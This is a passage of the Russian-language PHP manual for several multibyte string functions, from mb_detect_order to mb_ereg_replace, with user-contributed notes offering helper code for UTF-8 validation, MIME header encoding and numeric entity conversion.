    // From http://w3.org/International/questions/qa-forms-utf-8.html
    return preg_match('%^(?:
          [\x09\x0A\x0D\x20-\x7E]            # ASCII
        | [\xC2-\xDF][\x80-\xBF]             # non-overlong 2-byte
        |  \xE0[\xA0-\xBF][\x80-\xBF]        # excluding overlongs
        | [\xE1-\xEC\xEE\xEF][\x80-\xBF]{2}  # straight 3-byte
        |  \xED[\x80-\x9F][\x80-\xBF]        # excluding surrogates
        |  \xF0[\x90-\xBF][\x80-\xBF]{2}     # planes 1-3
        | [\xF1-\xF3][\x80-\xBF]{3}          # planes 4-15
        |  \xF4[\x80-\x8F][\x80-\xBF]{2}     # plane 16
    )*$%xs', $string);

} // function is_utf8

?>
jaaks at playtech dot com 14-Jan-2005 12:27
Last example for verifying UTF-8 has one little bug. If 10xxxxxx byte occurs alone i.e. not in multibyte char, then it is accepted although it is against UTF-8 rules. Make following replacement to repair it.

Replace
         } // goto next char
with
         } else {
           return false; // 10xxxxxx occuring alone
         } // goto next char
maarten 12-Jan-2005 03:55
Sometimes mb_detect_string is not what you need. When using pdflib for example you want to VERIFY the correctness of utf-8. mb_detect_encoding reports some iso-8859-1 encoded text as utf-8.
To verify utf 8 use the following:

//
//    utf8 encoding validation developed based on Wikipedia entry at:
//    http://en.wikipedia.org/wiki/UTF-8
//
//    Implemented as a recursive descent parser based on a simple state machine
//    copyright 2005 Maarten Meijer
//
//    This cries out for a C-implementation to be included in PHP core
//
    function valid_1byte($char) {
        if(!is_int($char)) return false;
        return ($char & 0x80) == 0x00;
    }

    function valid_2byte($char) {
        if(!is_int($char)) return false;
        return ($char & 0xE0) == 0xC0;
    }

    function valid_3byte($char) {
        if(!is_int($char)) return false;
        return ($char & 0xF0) == 0xE0;
    }

    function valid_4byte($char) {
        if(!is_int($char)) return false;
        return ($char & 0xF8) == 0xF0;
    }

    function valid_nextbyte($char) {
        if(!is_int($char)) return false;
        return ($char & 0xC0) == 0x80;
    }

    function valid_utf8($string) {
        $len = strlen($string);
        $i = 0;
        while( $i < $len ) {
            $char = ord(substr($string, $i++, 1));
            if(valid_1byte($char)) {    // continue
                continue;
            } else if(valid_2byte($char)) { // check 1 byte
                if(!valid_nextbyte(ord(substr($string, $i++, 1))))
                    return false;
            } else if(valid_3byte($char)) { // check 2 bytes
                if(!valid_nextbyte(ord(substr($string, $i++, 1))))
                    return false;
                if(!valid_nextbyte(ord(substr($string, $i++, 1))))
                    return false;
            } else if(valid_4byte($char)) { // check 3 bytes
                if(!valid_nextbyte(ord(substr($string, $i++, 1))))
                    return false;
                if(!valid_nextbyte(ord(substr($string, $i++, 1))))
                    return false;
                if(!valid_nextbyte(ord(substr($string, $i++, 1))))
                    return false;
            } // goto next char
        }
        return true; // done
    }

for a drawing of the statemachine see: http://www.xs4all.nl/~mjmeijer/unicode.png and http://www.xs4all.nl/~mjmeijer/unicode2.png


Установка/получение списка кодировок для механизмов определения кодировки

  • « mb_detect_encoding
  • mb_encode_mimeheader »
  • PHP Manual
  • Функции для работы с многобайтовыми строками
  • Установка/получение списка кодировок для механизмов определения кодировки

mb_detect_order

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

mb_detect_order — Установка/получение списка кодировок для механизмов определения кодировки

Описание

mb_detect_order(array|string|null $encoding = null): array|bool

В encoding задаётся порядок, в котором механизмы автоматического определения кодировок будут их проверять.

Список параметров

encoding

encoding - массив (array) или строка, в которой перечислены кодировки через запятую. Смотрите Поддерживаемые кодировки.

Если encoding опущен, функция вернёт текущий список кодировок в виде массива.

Эта настройка влияет на работу функций mb_detect_encoding() и mb_send_mail().

В mbstring на данный момент реализованы следующие фильтры для определения кодировок. Если последовательность байт в исходной строке не будет соответствовать ни одной из перечисленных кодировок, определение кодировки завершится неудачей.

UTF-8, UTF-7, ASCII, EUC-JP,SJIS, eucJP-win, SJIS-win, JIS, ISO-2022-JP

Кодировку ISO-8859-*, mbstring всегда определяет как ISO-8859-*.

Для кодировок UTF-16, UTF-32, UCS2 и UCS4 автоматическое определение всегда будет завершаться неудачей.

Возвращаемые значения

При установке порядка определения кодировки, в зависимости от успешности, возвращает true или false.

При получении порядка определения кодировки, возвращается отсортированный массив кодировок.

Список изменений

Версия | Описание
8.0.0 | Теперь параметр encoding может принимать значение null.

Примеры

Пример #1 Пример использования mb_detect_order()

<?php
/* Установка порядка определения в виде упорядоченного списка */
mb_detect_order("eucjp-win,sjis-win,UTF-8");

/* Установка списка кодировок в виде массива */
$ary[] = "ASCII";
$ary[] = "JIS";
$ary[] = "EUC-JP";
mb_detect_order($ary);

/* Вывод текущего списка кодировок */
echo implode(", ", mb_detect_order());
?>

Пример #2 Пример бесполезного порядка определения

; Всегда определяет как ISO-8859-1
detect_order = ISO-8859-1, UTF-8

; Всегда определяет как UTF-8, так как ASCII/UTF-7
; являются подмножеством UTF-8
detect_order = UTF-8, ASCII, UTF-7

Смотрите также

  • mb_internal_encoding() - Установка/получение внутренней кодировки скрипта
  • mb_http_input() - Определение кодировки символов входных данных HTTP-запроса
  • mb_http_output() - Установка/получение кодировки символов вывода HTTP
  • mb_send_mail() - Отправка закодированного сообщения

User Contributed Notes

There are no user contributed notes for this page.


Кодирует строку для MIME-заголовка

  • « mb_detect_order
  • mb_encode_numericentity »
  • PHP Manual
  • Функции для работы с многобайтовыми строками
  • Кодирует строку для MIME-заголовка

mb_encode_mimeheader

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

mb_encode_mimeheader — Кодирует строку для MIME-заголовка

Описание

mb_encode_mimeheader(
string $string,
?string $charset = null,
?string $transfer_encoding = null,
string $newline = "\r\n",
int $indent = 0
): string

Кодирует строку (string) (string) по схеме кодирования MIME-заголовка.

Список параметров

string

Кодируемая строка типа string. Её кодировка должна соответствовать mb_internal_encoding().

charset

charset задаёт имя кодировки, в котором представлена строка string. По умолчанию значение определяется настройкой NLS (mbstring.language).

transfer_encoding

transfer_encoding задаёт схему MIME-кодирования. Это может быть либо "B" (Base64), либо "Q" (Quoted-Printable). По умолчанию "B".

newline

newline задаёт метку EOL (конец строки, end-of-line), с помощью которой mb_encode_mimeheader() осуществляет завершение строк ("line-folding" - термин » RFC, означающий разделение строк, длина которых превышает заданное значение. Значение длины на данный момент жёстко задано как 74 символа). По умолчанию "\r\n" (CRLF).

indent

Отступ первой строки (число символов в заголовке перед string).

Возвращаемые значения

Конвертированная строка (string), преобразованная в ASCII.

Список изменений

Версия | Описание
8.0.0 | charset и transfer_encoding теперь допускают значение null.

Примеры

Пример #1 Пример использования mb_encode_mimeheader()

<?php
$name = "??"; // kanji
$mbox = "kru";
$doma = "gtinn.mon";
$addr = '"' . addcslashes(mb_encode_mimeheader($name, "UTF-7", "Q"), '"') . '" <' . $mbox . "@" . $doma . ">";
echo $addr;
?>

Результат выполнения данного примера:

"=?UTF-7?Q?+WSqQzg-?=" <kru@gtinn.mon>

Примечания

Замечание:

Эта функция не рассчитана на выполнение высокоуровневых разрывов строк (перенос слов целиком и т.п.). Такое поведение может привести к появлению неожидаемых пробелов в исходной строке.

Смотрите также

  • mb_decode_mimeheader() - Декодирует строку в MIME-заголовке

User Contributed Notes

Anonymous 11-Apr-2009 06:19
I could not find a PHP function to MIME encode the name for a n email address.

Input   = "Karl Muller<kmueller@gmx.de>"
Output = "Karl%20M%FCller<kmueller@gmx.de>"

I wrote it on my own:

<?php
// required to encode names in email addresses
// replace " " with "%20"
// replace "u" with "%FC"
// replace "%" with "%25"      etc....
// Use "%" as Delimiter for MIME
// Use "=" as Delimiter for Quoted Printable
// Input string must be UTF8 encoded
public static function EncodeMime($Text, $Delimiter)
{
    $Text = utf8_decode($Text);
    $Len  = strlen($Text);
    $Out  = "";
    for ($i=0; $i<$Len; $i++)
    {
        $Chr = substr($Text, $i, 1);
        $Asc = ord($Chr);

        if ($Asc > 0x255) // Unicode not allowed
        {
            $Out .= "?";
        }
        else if ($Chr == " " || $Chr == $Delimiter || $Asc > 127)
        {
            $Out .= $Delimiter . strtoupper(bin2hex($Chr));
        }
        else $Out .= $Chr;
    }
    return $Out;
}
?>
tokul at users dot sourceforge dot net 30-Mar-2008 04:26
mb_encode_mimeheader() depends on correct mbstring.internal_encoding setting. It tries to convert $str from internal encoding to $charset. If you ignore mbstring internal encoding, function might encode strings incorrectly even when $str character set matches $charset
stormflyCUT at hyh dot pl 05-May-2006 04:41
Some solution for using national chars and have problem with UTF-8 for example in mail subject. Before you use mb_encode_mimeheader with UTF-8 set mb_internal_encoding('UTF-8').
paravoid 01-Jan-2006 05:58
If mb_ version doesn't work for you in MIME-B mode:

function encode_mimeheader($string, $charset=null, $linefeed="\r\n") {
    if (!$charset)
        $charset = mb_internal_encoding();

    $start = "=?$charset?B?";
    $end = "?=";
    $encoded = '';

    /* Each line must have length <= 75, including $start and $end */
    $length = 75 - strlen($start) - strlen($end);
    /* Average multi-byte ratio */
    $ratio = mb_strlen($string, $charset) / strlen($string);
    /* Base64 has a 4:3 ratio */
    $magic = $avglength = floor(3 * $length * $ratio / 4);

    for ($i=0; $i <= mb_strlen($string, $charset); $i+=$magic) {
        $magic = $avglength;
        $offset = 0;
        /* Recalculate magic for each line to be 100% sure */
        do {
            $magic -= $offset;
            $chunk = mb_substr($string, $i, $magic, $charset);
            $chunk = base64_encode($chunk);
            $offset++;
        } while (strlen($chunk) > $length);
        if ($chunk)
            $encoded .= ' '.$start.$chunk.$end.$linefeed;
    }
    /* Chomp the first space and the last linefeed */
    $encoded = substr($encoded, 1, -strlen($linefeed));

    return $encoded;
}
nigrez at nius dot waw dot pl 13-Dec-2005 03:42
True, function is broken (PHP5.1, encoding from UTF-8 with pl_PL charset). Below is about 15% faster version of proposed _mb_mime_encode. Also it has header more like othe mb_* functions and doesn't trigger any errors/warnings/notices.

<?php

function mb_mime_header($string, $encoding=null, $linefeed="\r\n") {
  if(!$encoding) $encoding = mb_internal_encoding();
  $encoded = '';

  while($length = mb_strlen($string)) {
    $encoded .= "=?$encoding?B?"
             . base64_encode(mb_substr($string,0,24,$encoding))
             . "?=$linefeed";

    $string = mb_substr($string,24,$length,$encoding);
  }

  return $encoded;
}

?>
gullevek at gullevek dot org 06-Nov-2005 05:29
My first post was around 2003, and still the mb_mime_header is broken. It is *NOT* usable with longer subjects, and mostly unusable with anything else than japanese.

iwakura at junx dot org is also not working for me, it produces also some gargabe.

I updated my old function (the one I posted 2003) and I tested it with overlong subjects in UTF-8, ISO-2022-JP (japanese), GB2312 (simplified chinese) and EUC-KR (korean) and I got readable results in thunderbird, mail.app, outlook, etc.

<?php

function _mb_mime_encode($string, $encoding)
{
    $pos = 0;
    // after 36 single bytes characters if then comes MB, it is broken
    // but I trimmed it down to 24, to stay 100% < 76 chars per line
    $split = 24;
    while ($pos < mb_strlen($string, $encoding))
    {
        $output = mb_strimwidth($string, $pos, $split, "", $encoding);
        $pos += mb_strlen($output, $encoding);
        $_string_encoded = "=?".$encoding."?B?".base64_encode($output)."?=";
        if ($_string)
            $_string .= "\r\n";
        $_string .= $_string_encoded;
    }
    $string = $_string;
    return $string;
}

?>
chappy at citromail dot hu 28-Oct-2005 11:14
In countries where there's non-us ASCII, it's a very good example, for sending mail:

mb_internal_encoding('iso-8859-2');
setlocale(LC_CTYPE, 'hu_HU');

function encode($str,$charset){
    $str=mb_encode_mimeheader(trim($str),$charset, 'Q', "\n\t");
    return $str;
}

print encode('the text with spec. chars: &#337; &#368; &#336; &#369;, ?','iso-8859-2');

It creates a 7bit string
iwakura at junx dot org 15-Sep-2005 11:35
i think mb_encode_mimeheader still have bug. here is sample code:

function mb_encode_mimeheader2($string, $encoding = "ISO-2022-JP") {
    $string_array = array();
    $pos = 0;
    $row = 0;
    $mode = 0;

    while ($pos < mb_strlen($string)) {
        $word = mb_strimwidth($string, $pos, 1);
        if (!$word) {
            $word = mb_strimwidth($string, $pos, 2);
        }
        if (mb_ereg_match("[ -~]", $word)) {    // ascii
            if ($mode != 1) {
                $row++;
                $mode = 1;
                $string_array[$row] = NULL;
            }
        } else {                                // multibyte
            if ($mode != 2) {
                $row++;
                $mode = 2;
                $string_array[$row] = NULL;
            }
        }
        $string_array[$row] .= $word;
        $pos++;
    }

    //echo "<pre>";
    //print_r($string_array);
    //echo "</pre>";

    foreach ($string_array as $key => $value) {
        $value = mb_convert_encoding($value, $encoding);
        $string_array[$key] = mb_encode_mimeheader($value, $encoding);
    }

    //echo "<pre>";
    //print_r($string_array);
    //echo "</pre>";

    return implode("", $string_array);
}

is not the best, but it works
mortoray at ecircle-ag dot com 15-Mar-2005 01:19
At least for Q encoding, this function is unsafe and does not encode correctly. Raw characters which appear as RFC2047 sequences are simply left as is.

Ex:

mb_encode_mimeheader( '=?iso-8859-1?q?this=20is=20some=20text?=' );

returns '=?iso-8859-1?q?this=20is=20some=20text?='

The exact same string, which is obviously not the encoding for the source string.  That is, mb_encode_mimeheader does not do any type of escaping.

That is, the following condition is not always true:
    mb_decode_mimeheader( mb_encode_mimeheader( $text ) ) == $text
gullevek at gullevek dot org 30-Jul-2003 12:02
Read this FIRST: http://bugs.php.net/bug.php?id=23192 because mb_encode_mimeheaders is BUGGY!

a work around for the multibyte broken error for too long subjects for ISO-2022-JP:

$pos=0;
$split=36; // after 36 single bytes characters, if then comes MB, it is broken
while ($pos<mb_strlen($string,$encoding))
{
  $output=mb_strimwidth($string,$pos,$split,"",$encoding);
  $pos+=mb_strlen($output,$encoding);
  $_string.=(($_string)?' ':'').mb_encode_mimeheader($output,$encoding);
}
$string=$_string;

is not the best, but it works


Кодирует символ в числовую HTML-ссылку

  • « mb_encode_mimeheader
  • mb_encoding_aliases »
  • PHP Manual
  • Функции для работы с многобайтовыми строками
  • Кодирует символ в числовую HTML-ссылку

mb_encode_numericentity

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

mb_encode_numericentity — Кодирует символ в числовую HTML-ссылку

Описание

mb_encode_numericentity(
string $string,
array $map,
?string $encoding = null,
bool $hex = false
): string

Преобразует заданные коды символов в строке (string) string из кодов в числовые HTML-ссылки.

Список параметров

string

Кодируемая строка (string).

map

map - массив, задающий диапазон кодов.

encoding

Параметр encoding представляет собой символьную кодировку. Если он опущен или равен null, вместо него будет использовано значение внутренней кодировки.

hex

Должна ли возвращаемая сущность быть представлена в шестнадцатеричной нотации (иначе в десятичной)

Возвращаемые значения

Сконвертированная строка (string).

Список изменений

Версия | Описание
8.0.0 | Теперь параметр encoding может принимать значение null.

Примеры

Пример #1 Пример использования map

<?php
$convmap = array (
int start_code1, int end_code1, int offset1, int mask1,
int start_code2, int end_code2, int offset2, int mask2,
........
int start_codeN, int end_codeN, int offsetN, int maskN );
// Задайте значения Юникода для start_codeN и end_codeN
// Добавьте к значению offsetN и сложите побитово с maskN,
// затем преобразуйте результат в число.
?>

Пример #2 Пример использования mb_encode_numericentity()

<?php
/* Преобразование левой части ISO-8859-1 в числовую HTML-ссылку */
$convmap = array(0x80, 0xff, 0, 0xff);
$str = mb_encode_numericentity($str, $convmap, "ISO-8859-1");

/* Преобразование заданного пользователем SJIS-win кода в блоке в числовую ссыку*/
$convmap = array(
0xe000, 0xe03e, 0x1040, 0xffff,
0xe03f, 0xe0bb, 0x1041, 0xffff,
0xe0bc, 0xe0fa, 0x1084, 0xffff,
0xe0fb, 0xe177, 0x1085, 0xffff,
0xe178, 0xe1b6, 0x10c8, 0xffff,
0xe1b7, 0xe233, 0x10c9, 0xffff,
0xe234, 0xe272, 0x110c, 0xffff,
0xe273, 0xe2ef, 0x110d, 0xffff,
0xe2f0, 0xe32e, 0x1150, 0xffff,
0xe32f, 0xe3ab, 0x1151, 0xffff );
$str = mb_encode_numericentity($str, $convmap, "sjis-win");
?>

Смотрите также

  • mb_decode_numericentity() - Декодирует ссылку на числовую строку HTML в символ

User Contributed Notes

Anon 05-Dec-2018 11:22
Here is a better explanation of convmap:
https://stackoverflow.com/questions/35854535/better-explanation-of-convmap-in-mb-encode-numericentity
fboes at berlinonline dot de 11-Aug-2009 08:01
To improve handling of EURO-Symbols in dan at boxuk dot com's function add the following line to $convmap:

128,128,0, $f,
Janis 30-Jan-2009 02:32
To get Unicode numbers out of a UTF-8 string, this can be used, for example:

<?php
print mb_encode_numericentity ('saш?', array (0x0, 0xffff, 0, 0xffff), 'UTF-8');
?>
dan at boxuk dot com 26-Feb-2003 09:48
We were experiencing difficulties with PHP/Sablotron on Solaris; placing HTML character references into the XSL transformation, when set to output UTF-8, converts them back into UTF8 encoded chars.  This was then a problem for non unicode storage.  Using a bit of code from http://homepage.mac.com/marko/ the following function converts the string back to character references:

function utf2html ($utf2html_string)
{
    $f = 0xffff;
    $convmap = array(
/* <!ENTITY % HTMLlat1 PUBLIC "-//W3C//ENTITIES Latin 1//EN//HTML">
    %HTMLlat1; */
     160,  255, 0, $f,
/* <!ENTITY % HTMLsymbol PUBLIC "-//W3C//ENTITIES Symbols//EN//HTML">
    %HTMLsymbol; */
     402,  402, 0, $f,  913,  929, 0, $f,  931,  937, 0, $f,
     945,  969, 0, $f,  977,  978, 0, $f,  982,  982, 0, $f,
    8226, 8226, 0, $f, 8230, 8230, 0, $f, 8242, 8243, 0, $f,
    8254, 8254, 0, $f, 8260, 8260, 0, $f, 8465, 8465, 0, $f,
    8472, 8472, 0, $f, 8476, 8476, 0, $f, 8482, 8482, 0, $f,
    8501, 8501, 0, $f, 8592, 8596, 0, $f, 8629, 8629, 0, $f,
    8656, 8660, 0, $f, 8704, 8704, 0, $f, 8706, 8707, 0, $f,
    8709, 8709, 0, $f, 8711, 8713, 0, $f, 8715, 8715, 0, $f,
    8719, 8719, 0, $f, 8721, 8722, 0, $f, 8727, 8727, 0, $f,
    8730, 8730, 0, $f, 8733, 8734, 0, $f, 8736, 8736, 0, $f,
    8743, 8747, 0, $f, 8756, 8756, 0, $f, 8764, 8764, 0, $f,
    8773, 8773, 0, $f, 8776, 8776, 0, $f, 8800, 8801, 0, $f,
    8804, 8805, 0, $f, 8834, 8836, 0, $f, 8838, 8839, 0, $f,
    8853, 8853, 0, $f, 8855, 8855, 0, $f, 8869, 8869, 0, $f,
    8901, 8901, 0, $f, 8968, 8971, 0, $f, 9001, 9002, 0, $f,
    9674, 9674, 0, $f, 9824, 9824, 0, $f, 9827, 9827, 0, $f,
    9829, 9830, 0, $f,
/* <!ENTITY % HTMLspecial PUBLIC "-//W3C//ENTITIES Special//EN//HTML">
   %HTMLspecial; */
/* These ones are excluded to enable HTML: 34, 38, 60, 62 */
     338,  339, 0, $f,  352,  353, 0, $f,  376,  376, 0, $f,
     710,  710, 0, $f,  732,  732, 0, $f, 8194, 8195, 0, $f,
    8201, 8201, 0, $f, 8204, 8207, 0, $f, 8211, 8212, 0, $f,
    8216, 8218, 0, $f, 8218, 8218, 0, $f, 8220, 8222, 0, $f,
    8224, 8225, 0, $f, 8240, 8240, 0, $f, 8249, 8250, 0, $f,
    8364, 8364, 0, $f);

    return mb_encode_numericentity($utf2html_string, $convmap, "UTF-8");
}


Получает псевдонимы известного типа кодировки

  • « mb_encode_numericentity
  • mb_ereg_match »
  • PHP Manual
  • Функции для работы с многобайтовыми строками
  • Получает псевдонимы известного типа кодировки

mb_encoding_aliases

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

mb_encoding_aliases — Получает псевдонимы известного типа кодировки

Описание

mb_encoding_aliases(string $encoding): array

Возвращает массив псевдонимов для известного типа кодировки encoding.

Список параметров

encoding

Кодировка, для которой ищутся псевдонимы.

Возвращаемые значения

Функция возвращает индексный массив с псевдонимами кодировки.

Ошибки

Выбрасывает исключение ValueError, если кодировка encoding неизвестна.

Список изменений

Версия | Описание
8.0.0 | Если параметр encoding неизвестен, теперь выбрасывается исключение ValueError; ранее выдавалась ошибка уровня E_WARNING и функция возвращала false.

Примеры

Пример #1 Пример использования mb_encoding_aliases()

<?php
$encoding = 'ASCII';
$known_encodings = mb_list_encodings();

if (in_array($encoding, $known_encodings)) {

$aliases = mb_encoding_aliases($encoding);
print_r($aliases);

} else {

echo "Неизвестная кодировка ($encoding).\n";

}
?>

Результатом выполнения данного примера будет что-то подобное:

Array
(
    [0] => ANSI_X3.4-1968
    [1] => iso-ir-6
    [2] => ANSI_X3.4-1986
    [3] => ISO_646.irv:1991
    [4] => US-ASCII
    [5] => ISO646-US
    [6] => us
    [7] => IBM367
    [8] => cp367
    [9] => csASCII
)

Смотрите также

  • mb_list_encodings() - Возвращает массив всех поддерживаемых кодировок

User Contributed Notes

There are no user contributed notes for this page.


Совпадение с регулярным выражением для многобайтовой строки

  • « mb_encoding_aliases
  • mb_ereg_replace_callback »
  • PHP Manual
  • Функции для работы с многобайтовыми строками
  • Совпадение с регулярным выражением для многобайтовой строки

mb_ereg_match

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

mb_ereg_match — Совпадение с регулярным выражением для многобайтовой строки

Описание

mb_ereg_match(string $pattern, string $string, ?string $options = null): bool

Совпадение с регулярным выражением для многобайтовой строки.

Замечание: pattern сопоставляется только в начале string.

Список параметров

pattern

Шаблон регулярного выражения.

string

Оцениваемая строка (string).

options

Опция поиска. Подробнее смотрите mb_regex_set_options().

Возвращаемые значения

Возвращает true, если string совпадает с регулярным выражением pattern, false - в противном случае.

Список изменений

Версия | Описание
8.0.0 | options теперь допускает значение null.

Примечания

Замечание:

Для этой функции будет использована внутренняя кодировка или кодировка, установленная функцией mb_regex_encoding().

Смотрите также

  • mb_regex_encoding() - Устанавливает/получает текущую кодировку для многобайтового регулярного выражения
  • mb_ereg() - Совпадение с регулярным выражением с поддержкой многобайтовых кодировок

User Contributed Notes

There are no user contributed notes for this page.


Выполняет поиск и замену по регулярному выражению с поддержкой многобайтовых кодировок используя callback-функцию

  • « mb_ereg_match
  • mb_ereg_replace »
  • PHP Manual
  • Функции для работы с многобайтовыми строками
  • Выполняет поиск и замену по регулярному выражению с поддержкой многобайтовых кодировок используя callback-функцию

mb_ereg_replace_callback

(PHP 5 >= 5.4.1, PHP 7, PHP 8)

mb_ereg_replace_callback — Выполняет поиск и замену по регулярному выражению с поддержкой многобайтовых кодировок используя callback-функцию

Описание

mb_ereg_replace_callback(
string $pattern,
callable $callback,
string $string,
?string $options = null
): string|false|null

Проверяет строку string на совпадение с шаблоном pattern, затем заменяет найденный текст результатом функции callback.

Поведение этой функции почти идентично с функцией mb_ereg_replace(), за исключением того, что вместо строки замены replacement необходимо определять функцию callback.

Список параметров

pattern

Шаблон регулярного выражения.

Мультибайтовые символы могут использоваться в pattern.

callback

Функция, которая будет вызвана для получения и передачи массива совпадений в строку subject. Callback-функция должна возвращать строку для замены.

Часто может потребоваться объявлять функцию callback для mb_ereg_replace_callback() только в одном месте. В таком случае используйте анонимные функции для определения callback-функции внутри вызова mb_ereg_replace_callback(). При таком подходе у вас будет вся информация про вызов в одном месте и вы не загрязните пространство имён функции именем своей callback-функции, которое больше нигде не используется.

string

Строка (string) для проверки.

options

Опция поиска. Подробнее смотрите mb_regex_set_options().

Возвращаемые значения

Результирующая строка в случае успешного выполнения или false в случае возникновения ошибки. Если string некорректна для текущей кодировки, возвращается null.

Список изменений

Версия | Описание
8.0.0 | options теперь допускает значение null.
7.1.0 | Функция проверяет, корректна ли string для текущей кодировки.

Примеры

Пример #1 Пример функции mb_ereg_replace_callback()

<?php
// этот текст использовался в 2002
// мы хотим обновить для использования его в 2003
$text = "День смеха - 04/01/2002\n";
$text.= "Последнее Рождество было 12/24/2001\n";
// callback-функция
function next_year($matches)
{
// как обычно: в $matches[0] будет полное совпадение
// $matches[1] - совпадение для первого маски,
// заключённой в '(...)' и т.д.
return $matches[1].($matches[2]+1);
}
echo mb_ereg_replace_callback(
"(\d{2}/\d{2}/)(\d{4})",
"next_year",
$text);

?>

Результат выполнения данного примера:

День смеха - 04/01/2003
Последнее Рождество было 12/24/2002

Пример #2 mb_ereg_replace_callback() использует анонимную функцию

<?php
// этот текст использовался в 2002
// мы хотим обновить для использования его в 2003
$text = "День смеха - 04/01/2002\n";
$text.= "Последнее Рождество было 12/24/2001\n";

echo mb_ereg_replace_callback(
"(\d{2}/\d{2}/)(\d{4})",
function ($matches) {
return $matches[1].($matches[2]+1);
},
$text);
?>

Примечания

Замечание:

Для этой функции будет использована внутренняя кодировка или кодировка, установленная функцией mb_regex_encoding().

Смотрите также

  • mb_regex_encoding() - Устанавливает/получает текущую кодировку для многобайтового регулярного выражения
  • mb_ereg_replace() - Осуществляет замену по регулярному выражению с поддержкой многобайтовых кодировок
  • Анонимные функции

User Contributed Notes

There are no user contributed notes for this page.


Осуществляет замену по регулярному выражению с поддержкой многобайтовых кодировок

  • « mb_ereg_replace_callback
  • mb_ereg_search_getpos »
  • PHP Manual
  • Функции для работы с многобайтовыми строками
  • Осуществляет замену по регулярному выражению с поддержкой многобайтовых кодировок

mb_ereg_replace

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

mb_ereg_replace — Осуществляет замену по регулярному выражению с поддержкой многобайтовых кодировок

Описание

mb_ereg_replace(
string $pattern,
string $replacement,
string $string,
?string $options = null
): string|false|null

Сканирует строку string для поиска совпадений с pattern, затем заменяет совпавший текст на replacement

Список параметров

pattern

Шаблон регулярного выражения.

В pattern могут использоваться многобайтовые символы.

replacement

Текст замены.

string

Проверяемая строка (string).

options
Опция поиска. Подробнее смотрите mb_regex_set_options().

Возвращаемые значения

Результирующая строка в случае успешного выполнения или false в случае возникновения ошибки. Если string некорректна для текущей кодировки, возвращается null.

Список изменений

Версия | Описание
8.0.0 | options теперь допускает значение null.
7.1.0 | Функция проверяет, корректна ли string для текущей кодировки.
7.1.0 | Модификатор e объявлен устаревшим.

Примечания

Замечание:

Для этой функции будет использована внутренняя кодировка или кодировка, установленная функцией mb_regex_encoding().

Внимание

Никогда не используйте модификатор e при работе с данными, полученными из недостоверных источников. Не выполняется никакого автоматического экранирования этих данных (в отличие от preg_replace()). Игнорирование данных требований, скорее всего, создаст уязвимость выполнения удалённого кода в вашем приложении.

Смотрите также

  • mb_regex_encoding() - Устанавливает/получает текущую кодировку для многобайтового регулярного выражения
  • mb_eregi_replace() - Осуществляет замену по регулярному выражению с поддержкой многобайтовых символов без учёта регистра

User Contributed Notes

Anonymous 19-May-2022 06:35
Notations to reference captures in the replacement string:

<?php

// (1) \\number notation: (1 to 9, not greater than 9)
echo mb_ereg_replace('(\S*) (\S*) (\S*)', '\\1 jam, \\2 juice, \\3 squash', 'apple orange lemon').'<br>'; // apple jam, orange juice, lemon squash

// (2) \k<number> notation: (also greater than 9) (also as \k'number')
echo mb_ereg_replace('(\S*) (\S*) (\S*)', '\k<1> jam, \k<2> juice, \k<3> squash', 'apple orange lemon').'<br>'; // (same as above)

// (3) \k<word> notation: (also as \k'word')
echo mb_ereg_replace('(?<word1>\S*) (?<word2>\S*) (?<word3>\S*)', '\k<word1> jam, \k<word2> juice, \k<word3> squash', 'apple orange lemon').'<br>'; // (same as above)

// Note non-named-subpatterns like "(\S*)" should not be used with named-subpatterns like "(?<word>..)" because non-named-subpatterns cannot be captured when named-subpatterns exist.
j-fr dot fortier at wanadoo dot fr 07-Feb-2019 04:56
Since PHP 5.4, to make uppercase ou lowercase characters, or rewrite some uris, without to take care about initial encoding, the transliteration is easier (and probably the best way): see http://php.net/manual/fr/transliterator.transliterate.php and http://userguide.icu-project.org/transforms/general

For example (with create) (french text: replace all accuentued -eeaiiuc...- chars with ascii chars):
<?php
$transliterator = Transliterator::create("NFD; [:Nonspacing Mark:] Remove; NFC;");
echo $transliterator->transliterate("Hehe, ca marche !");
?>
// Result: « Hehe, ca marche ! »

To rewrite a phrase in URI (with createFromRules):
<?php
$transliterator = Transliterator::createFromRules("::Latin-ASCII; ::Lower; [^[:L:][:N:]]+ > '-';");
echo trim($transliterator->transliterate("Hehe, ca marche !"), '-');
?>
// Result : « hehe-ca-marche »
Alexey Khrulev 31-Aug-2017 10:10
If encoding of PHP script differs from encoding of string to be processed by mb_ereg_replace(), then you can't just write pattern in script. Both $pattern and $replacement must be converted to same encoding as string to be processed. In this example script is in UTF-8, file to be processed is in UTF-16LE encoding:

<?php
$file_encoding = 'UTF-16LE';
mb_regex_encoding( $file_encoding );

$pattern     = "aaa";
$replacement = "AAA";
$pattern_encoded     = mb_convert_encoding( $pattern,     $file_encoding, 'UTF-8' );
$replacement_encoded = mb_convert_encoding( $replacement, $file_encoding, 'UTF-8' );

$result = mb_ereg_replace( $pattern_encoded, $replacement_encoded, file_get_contents('UTF-16LE.txt') );
file_put_contents('UTF-16LE-updated.txt', $result);
?>
ms2705335 at gmail dot com 17-Jul-2017 10:10
As trng mentioned before you can use \\n for replacement but NOT \\\\n as mentioned in preg_replace docs. So string definition will be like:
$str = '\\1';
Anonymous 19-Jan-2016 11:23
Pluche's comment should REALLY be added to the documentation, preferably under the "$pattern" param description. It is crucial to using this function.
marco at thenetworksolution dot it 03-Feb-2014 02:47
To selectively uppercase parts of a string via mb_eregi_replace

    $str = mb_eregi_replace('\b([0-9]{1,4}[a-z]{1,2})\b', "strtoupper
('\\1')", $str, 'e');

Full example, how to fix an address manually typed, uppercasing the first letter of a words and keeping uppercase roman numerals and the letters A,B,C after the house number):

function ucAddress($str) {
// first lowercase all and use the default ucwords
    $str = ucwords(strtolower($str));
// let's fix the default ucwords...
// uppercase letters after house number (was lowercased by the strtolower above)
    $str = mb_eregi_replace('\b([0-9]{1,4}[a-z]{1,2})\b', "strtoupper
('\\1')", $str, 'e');
// the same for roman numerals
    $str = mb_eregi_replace('\bM{0,4}(CM|CD|D?C{0,3})(XC|XL|L?X{0,3})(IX|IV|V?I{0,3})\b', "strtoupper('\\0')", $str, 'e');
    return $str;
}

Dr. Marco Marsala
Network Solution srl
http://www.realizzazionesitigenova.it
